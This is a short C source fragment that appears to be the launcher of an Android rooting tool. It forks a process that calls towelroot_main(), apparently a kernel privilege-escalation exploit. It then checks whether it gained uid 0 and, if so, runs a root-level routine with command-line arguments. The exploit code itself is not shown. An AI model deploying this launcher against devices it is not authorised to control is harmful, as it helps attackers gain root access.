void do_root(int argc, const char **argv)
{
	printf("runrt(%d, '%s', '%s')\n", atoi(argv[1]), argv[2], argv[3]);
	runrt( atoi(argv[1]), argv[2], argv[3] );
}

int main(int argc, const char **argv)
{
	int uid = 0, ret = 0, wait_time = 60, pid = 0;

	check_parent_pid();
	if(argc < 4) return 1;

	pid = fork();
	if(pid == 0) {
		towelroot_main();
		ret = !!getuid();
		printf("subproc ret: %d\n", ret);
		exit(ret);
	}

	while ( wait_time > 0 ){
		int status = 0;
		if ( pid == waitpid(pid, &status, WNOHANG) ){
			if (WIFEXITED(status)) {
				ret = WEXITSTATUS(status);
				break;
			}
		}

		sleep(1);
		wait_time -= 1;
	}
	ret = (getuid() == 0);
	if(ret) {
		do_root(argc, argv);
	}
	return ret? 0:1;
}

